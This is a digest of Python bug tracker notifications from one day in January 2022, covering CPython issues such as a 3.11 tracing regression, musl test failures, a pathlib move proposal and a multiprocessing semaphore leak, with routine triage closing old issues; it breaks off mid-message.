_______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 06:58:23 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Sat, 15 Jan 2022 11:58:23 +0000 Subject: [issue46382] dataclass(slots=True) does not account for slots in base classes In-Reply-To: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org> Message-ID: <1642247903.59.0.939107701924.issue46382@roundup.psfhosted.org> Arie Bovenberg added the comment: Spencer is correct. The documentation even adds: "This renders the meaning of the program undefined." It's clear it doesn't break anything users would often encounter (we would have heard about it), but it's still undefined behavior. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 07:26:22 2022 From: report at bugs.python.org (Ned Batchelder) Date: Sat, 15 Jan 2022 12:26:22 +0000 Subject: [issue46389] 3.11: unused generator comprehensions cause f_lineno==None Message-ID: <1642249582.51.0.604668369809.issue46389@roundup.psfhosted.org> New submission from Ned Batchelder : In Python 3.11, unused generator comprehensions cause trace events with f_lineno set to None. ---- %< ------------------------------------------------- import linecache, sys def trace(frame, event, arg): # The weird globals here is to avoid a NameError on shutdown... if frame.f_code.co_filename == globals().get("__file__"): lineno = frame.f_lineno if lineno is not None: line = linecache.getline(__file__, lineno).rstrip() else: line = "" print("{} {!s:4}: {}".format(event[:4], lineno, line)) return trace print(sys.version) sys.settrace(trace) (i for i in [1]) ------------------------------------------------------ $ python3.10 /tmp/runbpo.py 3.10.2 (main, Jan 15 2022, 05:51:59) [Clang 12.0.0 (clang-1200.0.32.29)] call 17 : (i for i in [1]) exce 17 : (i for i in [1]) retu 17 : (i for i in [1]) $ python3.11 /tmp/runbpo.py 3.11.0a4 (main, Jan 14 2022, 18:14:29) [Clang 12.0.0 (clang-1200.0.32.29)] call None: exce None: retu None: ---------- components: Interpreter Core keywords: 3.11regression messages: 410643 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: 3.11: unused generator comprehensions cause f_lineno==None versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 07:47:23 2022 From: report at bugs.python.org (mike mcleod) Date: Sat, 15 Jan 2022 12:47:23 +0000 Subject: [issue10202] ftplib doesn't check close status after sending file In-Reply-To: <1288119890.05.0.476969255522.issue10202@psf.upfronthosting.co.za> Message-ID: <1642250843.9.0.00856928130055.issue10202@roundup.psfhosted.org> mike mcleod added the comment: Working.. should be able to create pull request soon. Note part of suggestions include using SIOCOUTQ, but this does not have an equivalent for windows. And as Murphy's law goes this is likely to be where the problem is! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 07:56:24 2022 From: report at bugs.python.org (Christian Heimes) Date: Sat, 15 Jan 2022 12:56:24 +0000 Subject: [issue46390] Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 Message-ID: <1642251384.22.0.111419838078.issue46390@roundup.psfhosted.org> New submission from Christian Heimes : I'm getting multiple test failures with latest Alpine 3.15 and musl-1.2.2-r7. Some test failures may be caused by wrong assumptions in our tests, some might be bugs in musl lib.c 9 tests failed: test__locale test_c_locale_coercion test_cmd_line test_gdb test_locale test_os test_posix test_re test_selectors I have attached the output of ./python -m test -v test__locale test_c_locale_coercion test_cmd_line test_gdb test_locale test_os test_posix test_re test_selectors 2>&1 | tee alpine315-tests.txt You can use my container to reproduce the test failures: $ podman run --privileged -ti --rm -v $(pwd):/cpython:Z quay.io/tiran/cpythonbuild:alpine-3.15 /bin/sh # /cmd.sh # cd /cpython/builddep/alpine-3.15-x86_64/ # make test ---------- components: Build, Tests files: alpine315-tests.txt messages: 410645 nosy: christian.heimes priority: normal severity: normal status: open title: Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 type: behavior versions: Python 3.11 Added file: https://bugs.python.org/file50562/alpine315-tests.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 08:21:04 2022 From: report at bugs.python.org (Christian Heimes) Date: Sat, 15 Jan 2022 13:21:04 +0000 Subject: [issue43112] SOABI on Linux does not distinguish between GNU libc and musl libc In-Reply-To: <1612344373.45.0.663786135841.issue43112@roundup.psfhosted.org> Message-ID: <1642252864.25.0.165948723844.issue43112@roundup.psfhosted.org> Christian Heimes added the comment: I noticed that 9 test suites are failing on Alpine 3.15, see bpo-46390. Should we require a stable buildbot before we proclaim official support for Alpine? ---------- dependencies: +Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 08:36:42 2022 From: report at bugs.python.org (Christian Heimes) Date: Sat, 15 Jan 2022 13:36:42 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642253802.22.0.947457361143.issue40280@roundup.psfhosted.org> Christian Heimes added the comment: A bunch of failing tests are related to bpo-46390. CPython's test suite does not pass with musl libc yet. ---------- dependencies: +Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 09:29:48 2022 From: report at bugs.python.org (Oz Tiram) Date: Sat, 15 Jan 2022 14:29:48 +0000 Subject: [issue46317] Pathlib.rename isn't robust In-Reply-To: <1641739976.38.0.625892156687.issue46317@roundup.psfhosted.org> Message-ID: <1642256988.48.0.467360637579.issue46317@roundup.psfhosted.org> Oz Tiram added the comment: Thanks for the answer, it makes sense now. Yes, I would adopt this. Allowing users to use `copy2` (or any other functio ...) using a keyword. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 09:30:52 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 Jan 2022 14:30:52 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642257052.97.0.19253185836.issue46376@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: rhettinger -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 09:34:00 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 Jan 2022 14:34:00 +0000 Subject: [issue46388] Improve test coverage of functools.total_ordering In-Reply-To: <1642244147.78.0.364663520493.issue46388@roundup.psfhosted.org> Message-ID: <1642257240.94.0.466059492244.issue46388@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 09:42:13 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 15 Jan 2022 14:42:13 +0000 Subject: [issue46378] Experiment with LLVM BOLT binary optimizer In-Reply-To: <1642176687.21.0.496800066458.issue46378@roundup.psfhosted.org> Message-ID: <1642257733.42.0.346968411458.issue46378@roundup.psfhosted.org> Change by Dong-hee Na : ---------- components: +Build _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 10:08:46 2022 From: report at bugs.python.org (Barney Gale) Date: Sat, 15 Jan 2022 15:08:46 +0000 Subject: [issue46317] Pathlib.rename isn't robust In-Reply-To: <1641739976.38.0.625892156687.issue46317@roundup.psfhosted.org> Message-ID: <1642259326.78.0.22873031181.issue46317@roundup.psfhosted.org> Barney Gale added the comment: Fair enough. Users who wanted to avoid copying file metadata would then do something like this, I suppose? import pathlib import shutil path = pathlib.Path('foo') path.move('bar', copy_function=shutil.copy) I guess the downside here is that users would still need to `import shutil` to do this. But I see the utility of allowing any copy_function to be supplied! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 11:25:18 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 16:25:18 +0000 Subject: [issue6686] xml.sax.xmlreader.XMLReader.getProperty (xml.sax.handler.property_xml_string) returns bytes In-Reply-To: <1250018393.94.0.435666063731.issue6686@psf.upfronthosting.co.za> Message-ID: <1642263918.46.0.94094818896.issue6686@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 11:31:14 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 16:31:14 +0000 Subject: [issue45686] ElementTree.Element.extend: bad error message when error occurs in generator In-Reply-To: <1635814251.62.0.355245938965.issue45686@roundup.psfhosted.org> Message-ID: <1642264274.33.0.374345449473.issue45686@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 11:32:03 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 16:32:03 +0000 Subject: [issue45639] Support modern image formats in MIME types In-Reply-To: <1635388414.48.0.724029722643.issue45639@roundup.psfhosted.org> Message-ID: <1642264323.18.0.688722146759.issue45639@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: -Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 11:35:53 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 16:35:53 +0000 Subject: [issue45266] subtype_clear can not be called from derived types In-Reply-To: <1632338179.69.0.00198937271084.issue45266@roundup.psfhosted.org> Message-ID: <1642264553.84.0.474288834723.issue45266@roundup.psfhosted.org> Irit Katriel added the comment: Victor, it's not clear to me whether this is a bug report or a "how do I do this" question, but in either case if you posted your code along with "I expected X but got Y", it would be easier to understand the issue. ---------- nosy: +iritkatriel versions: -Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 11:38:00 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 16:38:00 +0000 Subject: [issue44158] Clarify documentation for redirected stdout/stderr when using subprocess in Linux In-Reply-To: <1621280760.31.0.799968756172.issue44158@roundup.psfhosted.org> Message-ID: <1642264680.85.0.891426056429.issue44158@roundup.psfhosted.org> Change by Irit Katriel : ---------- assignee: -> docs at python components: +Documentation -Library (Lib) nosy: +docs at python versions: +Python 3.10, Python 3.11 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 11:38:08 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 16:38:08 +0000 Subject: [issue44158] Clarify documentation for redirected stdout/stderr when using subprocess in Linux In-Reply-To: <1621280760.31.0.799968756172.issue44158@roundup.psfhosted.org> Message-ID: <1642264688.97.0.894917309209.issue44158@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 12:09:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 17:09:27 +0000 Subject: [issue45955] Calling read() on HTTPError may cause KeyError in tempfile In-Reply-To: <1638385925.39.0.609829377944.issue45955@roundup.psfhosted.org> Message-ID: <1642266567.51.0.309605938813.issue45955@roundup.psfhosted.org> Change by Irit Katriel : ---------- type: -> behavior versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 12:12:15 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 17:12:15 +0000 Subject: [issue44620] UUIDv1 is not RFC 4122 compliant In-Reply-To: <1626174900.35.0.48984459296.issue44620@roundup.psfhosted.org> Message-ID: <1642266735.34.0.720267434894.issue44620@roundup.psfhosted.org> Change by Irit Katriel : ---------- type: -> behavior versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 12:21:12 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 17:21:12 +0000 Subject: [issue39819] NULL pointer crash in Modules/_cursesmodule.c in PyInit__curses() on MIPS uclibc-ng and ncurses-6.2 In-Reply-To: <1583104325.7.0.594003781513.issue39819@roundup.psfhosted.org> Message-ID: <1642267271.99.0.981355008081.issue39819@roundup.psfhosted.org> Irit Katriel added the comment: Python 3.7 is no longer maintained. Please create a new issue if you are seeing this problem on a current (>= 3.9) version. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 12:26:52 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 17:26:52 +0000 Subject: [issue39823] Disassembly - improve documentation for bytecode instruction class and set source line no. attribute for every instruction In-Reply-To: <1583139646.83.0.873183200808.issue39823@roundup.psfhosted.org> Message-ID: <1642267612.01.0.867653592794.issue39823@roundup.psfhosted.org> Irit Katriel added the comment: I don't think this change should be made - it would generate the same information in a slightly different format, which will break existing code while not making it possible to do anything we can't do now. ---------- nosy: +iritkatriel versions: +Python 3.11 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 12:34:30 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 17:34:30 +0000 Subject: [issue39441] mimetypes.guess_extension unable to get non-lowercase mimetype In-Reply-To: <1579859419.07.0.145257790189.issue39441@roundup.psfhosted.org> Message-ID: <1642268070.74.0.407982685547.issue39441@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 12:40:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 17:40:47 +0000 Subject: =?utf-8?q?=5Bissue37943=5D_mimetypes=2Eguess=5Fextension=28=29_doesn?= =?utf-8?q?=E2=80=99t_get_JPG_right?= In-Reply-To: <1566687977.17.0.676940180845.issue37943@roundup.psfhosted.org> Message-ID: <1642268447.22.0.411167264433.issue37943@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: remind -> out of date status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 12:42:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 17:42:47 +0000 Subject: [issue42028] Regression in mimetypes for image/bmp In-Reply-To: <1602623702.59.0.922962266093.issue42028@roundup.psfhosted.org> Message-ID: <1642268567.31.0.367900045268.issue42028@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 12:46:52 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 17:46:52 +0000 Subject: [issue39441] mimetypes.guess_extension unable to get non-lowercase mimetype In-Reply-To: <1579859419.07.0.145257790189.issue39441@roundup.psfhosted.org> Message-ID: <1642268812.08.0.422327774668.issue39441@roundup.psfhosted.org> Irit Katriel added the comment: See also Issue20392. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 13:01:22 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 18:01:22 +0000 Subject: [issue34165] uu.decode() raises binascii.Error instead of uu.Error on invalid data In-Reply-To: <1532080428.61.0.56676864532.issue34165@psf.upfronthosting.co.za> Message-ID: <1642269682.41.0.153886646144.issue34165@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy type: -> behavior versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 13:04:57 2022 From: report at bugs.python.org (XD Trol) Date: Sat, 15 Jan 2022 18:04:57 +0000 Subject: [issue46391] Library multiprocess leaks named resources. Message-ID: <1642269897.29.0.322439501259.issue46391@roundup.psfhosted.org> New submission from XD Trol : Repo is the standard tool that Google uses to build Android, Chrome OS, Chromium, etc, written in Python. Many Repo users have encountered resource leak warnings with Python 3.9. https://bugs.chromium.org/p/gerrit/issues/detail?id=14934&q=component%3Arepo&can=5 I did some work and found that the problem is not caused by the code of Repo, but a bug of the Python library, multiprocess. To make it simple, the Python script below leaks named resource even when exiting normally. (And be unlinked by resource_tracker with a warning. ) ``` import multiprocessing as mp global_resource = mp.Semaphore() def submain(): pass if __name__ == '__main__': p = mp.Process(target=submain) p.start() p.join() ``` Tested on macOS with Python 3.9.7 > python test.py resource_tracker: There appear to be 1 leaked semaphore objects to clean up at shutdown. This bug will 100% reproduce when then main module uses named resources as global variables and uses `spawn` context, which is the case of Repo on macOS. This is caused by multiprocess::BaseProcess::_bootstrap. When a new process is started with multiprocessing.Process.start() in `spawn` context. 1. The main module is reloaded in the subprocess (for pickle) in multiprocessing::spawn::_main. 2. Named resources (such as the semaphore above) in the main module resister their _cleanup into multiprocessing::util::_finalizer_registry, which unlink themselves. 3. multiprocess::BaseProcess::_bootstrap then clears _finalizer_registry. When a subprocess is spawned, it is no need to clear util::_finalizer_registry (and no need to call util::_run_after_forkers). Disable clearing _finalizer_registry (and disable call to _run_after_forkers) should fix this bug without breaking anything else. And I uploaded a MR. ---------- components: Library (Lib) messages: 410654 nosy: milestonejxd priority: normal severity: normal status: open title: Library multiprocess leaks named resources. type: resource usage versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 13:36:18 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 18:36:18 +0000 Subject: [issue28186] Autogenerated tabs / trailing whitespace In-Reply-To: <1474095512.0.0.99894670529.issue28186@psf.upfronthosting.co.za> Message-ID: <1642271778.4.0.179080808876.issue28186@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 13:38:06 2022 From: report at bugs.python.org (XD Trol) Date: Sat, 15 Jan 2022 18:38:06 +0000 Subject: [issue46391] Library multiprocess leaks named resources. In-Reply-To: <1642269897.29.0.322439501259.issue46391@roundup.psfhosted.org> Message-ID: <1642271886.75.0.295646588952.issue46391@roundup.psfhosted.org> Change by XD Trol : ---------- keywords: +patch pull_requests: +28821 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30617 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:13:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:13:47 +0000 Subject: [issue44408] imaplib fails when server sends extra blank line after literal value In-Reply-To: <1623562448.65.0.279795750286.issue44408@roundup.psfhosted.org> Message-ID: <1642274027.6.0.904827502269.issue44408@roundup.psfhosted.org> Irit Katriel added the comment: How does it fail? Can you provide a reproducer and add a unit test to the PR? ---------- nosy: +iritkatriel type: crash -> behavior versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:22:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:22:04 +0000 Subject: [issue43814] Fix the error message for disallowed __weakref__ slots In-Reply-To: <1618235717.97.0.321047672472.issue43814@roundup.psfhosted.org> Message-ID: <1642274524.43.0.415016106756.issue43814@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:23:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:23:40 +0000 Subject: [issue39324] Add mimetype for extension .md (markdown) In-Reply-To: <1578945220.79.0.19370550446.issue39324@roundup.psfhosted.org> Message-ID: <1642274620.86.0.0565179071163.issue39324@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:30:19 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:30:19 +0000 Subject: [issue39663] IDLE: Add additional tests for pyparse In-Reply-To: <1581949396.83.0.321867900398.issue39663@roundup.psfhosted.org> Message-ID: <1642275019.21.0.81944133939.issue39663@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:31:43 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:31:43 +0000 Subject: [issue42199] bytecode_helper assertNotInBytecode fails too eagerly In-Reply-To: <1604006526.43.0.914046612592.issue42199@roundup.psfhosted.org> Message-ID: <1642275103.08.0.125146406253.issue42199@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:33:57 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:33:57 +0000 Subject: [issue40962] Add documentation for asyncio._set_running_loop() In-Reply-To: <1591976537.41.0.345001271187.issue40962@roundup.psfhosted.org> Message-ID: <1642275237.64.0.681188061468.issue40962@roundup.psfhosted.org> Change by Irit Katriel : ---------- type: -> enhancement versions: +Python 3.11 -Python 3.10, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:37:29 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:37:29 +0000 Subject: [issue29257] Possible error in discussion of Abstract Base Classes and abstract properties In-Reply-To: <1484268516.3.0.750896526181.issue29257@psf.upfronthosting.co.za> Message-ID: <1642275449.54.0.394475857079.issue29257@roundup.psfhosted.org> Irit Katriel added the comment: I think this is out of date, the example is different now: https://docs.python.org/3/library/abc.html#abc.abstractproperty ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:38:47 2022 From: report at bugs.python.org (Oleg Iarygin) Date: Sat, 15 Jan 2022 19:38:47 +0000 Subject: [issue46391] Library multiprocess leaks named resources. In-Reply-To: <1642269897.29.0.322439501259.issue46391@roundup.psfhosted.org> Message-ID: <1642275527.45.0.205324647177.issue46391@roundup.psfhosted.org> Oleg Iarygin added the comment: I added core devs related to multiprocessing into a nosy list so they got a notification and the PR will be evaluated and merged faster. FYI, the devs are Davin Potts and Antoine Pitrou (as per ). ---------- nosy: +arhadthedev, davin, pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:39:11 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:39:11 +0000 Subject: [issue23557] Misc/SpecialBuilds.txt contains outdated information about PYMALLOC_DEBUG In-Reply-To: <1425212242.29.0.401382556458.issue23557@psf.upfronthosting.co.za> Message-ID: <1642275551.32.0.143673901425.issue23557@roundup.psfhosted.org> Irit Katriel added the comment: The PYMALLOC_DEBUG macro was removed in https://github.com/python/cpython/pull/25711/files ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:40:53 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:40:53 +0000 Subject: [issue44901] Info about used pickle protocol used by multiprocessing.Queue In-Reply-To: <1628775182.23.0.332446987158.issue44901@roundup.psfhosted.org> Message-ID: <1642275653.4.0.927034395487.issue44901@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:44:11 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:44:11 +0000 Subject: [issue37084] _ctypes not failing, can't find reason In-Reply-To: <1559080436.17.0.198846412068.issue37084@roundup.psfhosted.org> Message-ID: <1642275851.7.0.897294389585.issue37084@roundup.psfhosted.org> Irit Katriel added the comment: Python 3.7 is no longer maintained, so it's unlikely anyone will look at this now. Please create a new issue if you can reproduce the problem on a current version (>=3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:45:34 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:45:34 +0000 Subject: [issue34924] inspect.signature isn't aware that types.MethodType can wrap any callable In-Reply-To: <1538963631.37.0.545547206417.issue34924@psf.upfronthosting.co.za> Message-ID: <1642275934.36.0.51280001288.issue34924@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:50:01 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:50:01 +0000 Subject: [issue39276] type() cause segmentation fault in callback function called from C extension In-Reply-To: <1578577934.03.0.00618526975979.issue39276@roundup.psfhosted.org> Message-ID: <1642276201.36.0.462211193212.issue39276@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 14:53:22 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 19:53:22 +0000 Subject: [issue42390] Other Python implementations may not expose the module name in datetime type names In-Reply-To: <1605626767.59.0.625692479281.issue42390@roundup.psfhosted.org> Message-ID: <1642276402.99.0.41655860297.issue42390@roundup.psfhosted.org> Irit Katriel added the comment: William, can you elaborate where this came up? ---------- nosy: +iritkatriel status: open -> pending versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 15:00:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 20:00:58 +0000 Subject: [issue36369] test_weakref super slow on RPi Zero In-Reply-To: <1553015837.07.0.00449042281864.issue36369@roundup.psfhosted.org> Message-ID: <1642276858.88.0.134554515069.issue36369@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer maintained. Please create a new issue if you are seeing slow tests with a current version of python (ideally 3.10 or one of the 3.11 alphas), and you are interested in investigating along the lines of Victor's suggestion. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 15:08:32 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 20:08:32 +0000 Subject: [issue34672] '%Z' strftime specifier never works with musl In-Reply-To: <1536897689.03.0.956365154283.issue34672@psf.upfronthosting.co.za> Message-ID: <1642277312.88.0.224338669941.issue34672@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 15:24:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 20:24:04 +0000 Subject: [issue42548] debugger stops at breakpoint of `pass` that is not actually reached In-Reply-To: <1606948585.89.0.450511023817.issue42548@roundup.psfhosted.org> Message-ID: <1642278244.76.0.0525659340389.issue42548@roundup.psfhosted.org> Irit Katriel added the comment: I can't reproduce this on 3.11. 3.7 is no longer maintained, and there have been many changes since then to the trace output. It is likely that this bug has been fixed, but please create a new issue if you see it on a current version. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 15:30:55 2022 From: report at bugs.python.org (Brandt Bucher) Date: Sat, 15 Jan 2022 20:30:55 +0000 Subject: [issue46378] Experiment with LLVM BOLT binary optimizer In-Reply-To: <1642176687.21.0.496800066458.issue46378@roundup.psfhosted.org> Message-ID: <1642278655.67.0.80917831374.issue46378@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 15:39:51 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 15 Jan 2022 20:39:51 +0000 Subject: [issue39986] test_os / test_listdir failed as root-directory changed during test In-Reply-To: <1584411740.74.0.439695982402.issue39986@roundup.psfhosted.org> Message-ID: <1642279191.34.0.757635956315.issue39986@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 16:17:32 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 Jan 2022 21:17:32 +0000 Subject: [issue46372] int/float specializations should mutate the LHS in-place when possible In-Reply-To: <1642142548.34.0.279604179898.issue46372@roundup.psfhosted.org> Message-ID: <1642281452.73.0.761021786163.issue46372@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 17:15:39 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 Jan 2022 22:15:39 +0000 Subject: [issue46388] Improve test coverage of functools.total_ordering In-Reply-To: <1642244147.78.0.364663520493.issue46388@roundup.psfhosted.org> Message-ID: <1642284939.78.0.232046221865.issue46388@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 0a28118324f64851b684ec3afdd063c47513a236 by Russel Webber in branch 'main': bpo-46388: Test NotImplemented code path for functools.total_ordering (GH-30616) https://github.com/python/cpython/commit/0a28118324f64851b684ec3afdd063c47513a236 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 15 17:16:24 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 Jan 